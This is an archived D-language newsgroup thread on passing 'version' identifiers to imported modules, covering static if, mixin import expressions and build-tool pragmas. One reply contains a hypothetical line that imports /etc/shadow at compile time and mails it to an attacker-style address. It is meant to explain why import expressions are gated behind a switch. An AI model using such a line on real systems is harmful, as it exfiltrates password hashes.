www.digitalmars.com         C & C++   DMDScript  

digitalmars.D.learn - Setting versions for imports

reply Jascha Wetzel <firstname mainia.de> writes:
Suppose we have two modules test1 and test2:

module test1;
version(asdf) {}
else { static assert(0); }

module test2;
version = asdf;
import test1;

This won't compile. Is there a way to get the intended behavior without 
passing the versions on the command line?
Oct 02 2007
next sibling parent reply div0 <div0 users.sourceforge.net> writes:
Jascha Wetzel wrote:

 Suppose we have two modules test1 and test2:
 
 module test1;
 version(asdf) {}
 else { static assert(0); }
 
 module test2;
 version = asdf;
 import test1;
 
 This won't compile. Is there a way to get the intended behavior without 
 passing the versions on the command line?


no. version declarations only apply to the module in which they are 
declared.

http://www.digitalmars.com/d/version.html

so you can't use a module as a config.h in that way

besides what's wrong with passing them on the commandline?


If you really want to go that way, you could use static if's to achieve 
something similar I guess.

config.d
========

const char[] myVersion = "someVer";

some.d
======

static if( myVersion == "someVer" )
{ // someVer
}
else	// bail
	static assert(0);
Oct 02 2007
parent reply Jascha Wetzel <firstname mainia.de> writes:
div0 wrote:

 so you can't use a module as a config.h in that way
 
 besides what's wrong with passing them on the commandline?


it is inconvenient for some applications. the specs actually give such 
an example:

version (ProfessionalEdition)
{
     version = FeatureA;
     version = FeatureB;
     version = FeatureC;
}
version (HomeEdition)
{
     version = FeatureA;
}

you wouldn't want to specify that on the command line, and you wouldn't 
want to duplicate that in each module that needs the distinction.


 If you really want to go that way, you could use static if's to achieve 
 something similar I guess.


that does work for config imports, but not for the example where the 
version of a module shall be set by the importing module.
Oct 02 2007
parent reply div0 <div0 users.sourceforge.net> writes:
Jascha Wetzel wrote:

 div0 wrote:

 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?


 
 it is inconvenient for some applications. the specs actually give such 
 an example:
 
 version (ProfessionalEdition)
 {
     version = FeatureA;
     version = FeatureB;
     version = FeatureC;
 }
 version (HomeEdition)
 {
     version = FeatureA;
 }
 
 you wouldn't want to specify that on the command line, and you wouldn't 
 want to duplicate that in each module that needs the distinction.
 

 If you really want to go that way, you could use static if's to 
 achieve something similar I guess.


 
 that does work for config imports, but not for the example where the 
 version of a module shall be set by the importing module.


Oh I see what you're getting at.
No you can't do that because it's a bad idea.

Each .d file needs to be individually compilable.

You couldn't do that if a file needs to be included (imported) by some 
other file in order to make sense.

You can achieve the same result by reordering your imports.

The same applies with c++.

#define SOME_DEFINE
#include "somefile.hpp"

void func() {
	somefile::function( 42 );
}

so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
won't have any effect on somefile.cpp
Oct 02 2007
next sibling parent reply Bill Baxter <dnewsgroup billbaxter.com> writes:
div0 wrote:

 Jascha Wetzel wrote:

 div0 wrote:

 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?


 it is inconvenient for some applications. the specs actually give such 
 an example:

 version (ProfessionalEdition)
 {
     version = FeatureA;
     version = FeatureB;
     version = FeatureC;
 }
 version (HomeEdition)
 {
     version = FeatureA;
 }

 you wouldn't want to specify that on the command line, and you 
 wouldn't want to duplicate that in each module that needs the 
 distinction.


 If you really want to go that way, you could use static if's to 
 achieve something similar I guess.


 that does work for config imports, but not for the example where the 
 version of a module shall be set by the importing module.


 
 Oh I see what you're getting at.
 No you can't do that because it's a bad idea.
 
 Each .d file needs to be individually compilable.
 
 You couldn't do that if a file needs to be included (imported) by some 
 other file in order to make sense.
 
 You can achieve the same result by reordering your imports.
 
 The same applies with c++.
 
 #define SOME_DEFINE
 #include "somefile.hpp"
 
 void func() {
     somefile::function( 42 );
 }
 
 so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
 won't have any effect on somefile.cpp



There is that import expression thingy:

--- module.d ---
    mixin( import("config.d") );
    ...

--- config.d ---
version (ProfessionalEdition)
{
     version = FeatureA;
     version = FeatureB;
     version = FeatureC;
}
version (HomeEdition)
{
     version = FeatureA;
}

But I think you have to give the compiler some switch to tell it it's ok 
to use an import expression.  For "safety".

--bb
Oct 02 2007
parent reply BCS <ao pathlink.com> writes:
Reply to Bill,


 div0 wrote:
 

 Jascha Wetzel wrote:
 

 div0 wrote:
 

 so you can't use a module as a config.h in that way
 
 besides what's wrong with passing them on the commandline?
 


 it is inconvenient for some applications. the specs actually give
 such an example:
 
 version (ProfessionalEdition)
 {
 version = FeatureA;
 version = FeatureB;
 version = FeatureC;
 }
 version (HomeEdition)
 {
 version = FeatureA;
 }
 you wouldn't want to specify that on the command line, and you
 wouldn't want to duplicate that in each module that needs the
 distinction.
 

 If you really want to go that way, you could use static if's to
 achieve something similar I guess.
 


 that does work for config imports, but not for the example where the
 version of a module shall be set by the importing module.
 


 Oh I see what you're getting at.
 No you can't do that because it's a bad idea.
 Each .d file needs to be individually compilable.
 
 You couldn't do that if a file needs to be included (imported) by
 some other file in order to make sense.
 
 You can achieve the same result by reordering your imports.
 
 The same applies with c++.
 
 #define SOME_DEFINE
 #include "somefile.hpp"
 void func() {
 somefile::function( 42 );
 }
 so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
 won't have any effect on somefile.cpp
 


 There is that import expression thingy:
 
 --- module.d ---
 mixin( import("config.d") );
 ...
 --- config.d ---
 version (ProfessionalEdition)
 {
 version = FeatureA;
 version = FeatureB;
 version = FeatureC;
 }
 version (HomeEdition)
 {
 version = FeatureA;
 }
 But I think you have to give the compiler some switch to tell it it's
 ok to use an import expression.  For "safety".
 
 --bb
 


there is, just imagin what would happen if this were allowed:

SendMail(import("/etc/shadow"), "harker gmail.com"); // now, how to get them 
to build this as root??
Oct 02 2007
parent Bill Baxter <dnewsgroup billbaxter.com> writes:
BCS wrote:

 Reply to Bill,
 

 div0 wrote:


 Jascha Wetzel wrote:


 div0 wrote:


 so you can't use a module as a config.h in that way

 besides what's wrong with passing them on the commandline?


 it is inconvenient for some applications. the specs actually give
 such an example:

 version (ProfessionalEdition)
 {
 version = FeatureA;
 version = FeatureB;
 version = FeatureC;
 }
 version (HomeEdition)
 {
 version = FeatureA;
 }
 you wouldn't want to specify that on the command line, and you
 wouldn't want to duplicate that in each module that needs the
 distinction.


 If you really want to go that way, you could use static if's to
 achieve something similar I guess.


 that does work for config imports, but not for the example where the
 version of a module shall be set by the importing module.


 Oh I see what you're getting at.
 No you can't do that because it's a bad idea.
 Each .d file needs to be individually compilable.

 You couldn't do that if a file needs to be included (imported) by
 some other file in order to make sense.

 You can achieve the same result by reordering your imports.

 The same applies with c++.

 #define SOME_DEFINE
 #include "somefile.hpp"
 void func() {
 somefile::function( 42 );
 }
 so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
 won't have any effect on somefile.cpp


 There is that import expression thingy:

 --- module.d ---
 mixin( import("config.d") );
 ...
 --- config.d ---
 version (ProfessionalEdition)
 {
 version = FeatureA;
 version = FeatureB;
 version = FeatureC;
 }
 version (HomeEdition)
 {
 version = FeatureA;
 }
 But I think you have to give the compiler some switch to tell it it's
 ok to use an import expression.  For "safety".

 --bb


 
 there is, just imagin what would happen if this were allowed:
 
 SendMail(import("/etc/shadow"), "harker gmail.com"); // now, how to get 
 them to build this as root??


Yeh, I'm just not convinced it's any more dangerous than a lot of other 
programs.  You have to get someone with root privilege to run something 
for you with your input as root *and* send you the output.

--bb
Oct 02 2007
prev sibling parent Jascha Wetzel <firstname mainia.de> writes:
div0 wrote:

 Oh I see what you're getting at.
 No you can't do that because it's a bad idea.
 
 Each .d file needs to be individually compilable.
 
 You couldn't do that if a file needs to be included (imported) by some 
 other file in order to make sense.


this wouldn't make the import not make sense without the importer.
since i'm only talking about versions this only means, that there is 
something like a pragma that forces command line switches from within 
the code. this would of course only work as i intend to use it, if 
importer and import are built with one compiler call, but since -version 
command line switches are only guaranteed to be consistent within the 
same compiler call as well, that wouldn't make a difference.
Oct 02 2007
prev sibling parent reply Derek Parnell <derek psych.ward> writes:
On Tue, 02 Oct 2007 16:47:01 +0200, Jascha Wetzel wrote:


 Suppose we have two modules test1 and test2:
 
 module test1;
 version(asdf) {}
 else { static assert(0); }
 
 module test2;
 version = asdf;
 import test1;
 
 This won't compile. Is there a way to get the intended behavior without 
 passing the versions on the command line?


The 'Bud' utility has some help for you. It supports a pragma that ensures
the 'version' gets passed to al files being compiled.

In any of the files to be compiled you have something like ...

  version(build) pragma(export_version, asdf);

and Bud causes "version=asdf" to be placed on the command line for you.

I'm not sure if Rebuild has a similar functionality, but I wouldn't be
surprised if it did.

-- 
Derek Parnell
Melbourne, Australia
skype: derek.j.parnell
Oct 02 2007
parent Jascha Wetzel <firstname mainia.de> writes:
Derek Parnell wrote:

 The 'Bud' utility has some help for you. It supports a pragma that ensures
 the 'version' gets passed to al files being compiled.
 
 In any of the files to be compiled you have something like ...
 
   version(build) pragma(export_version, asdf);
 
 and Bud causes "version=asdf" to be placed on the command line for you.
 
 I'm not sure if Rebuild has a similar functionality, but I wouldn't be
 surprised if it did.


uh, both have this feature. for some reason i didn't bother to check the 
build tools. thanks for that hint.
Oct 02 2007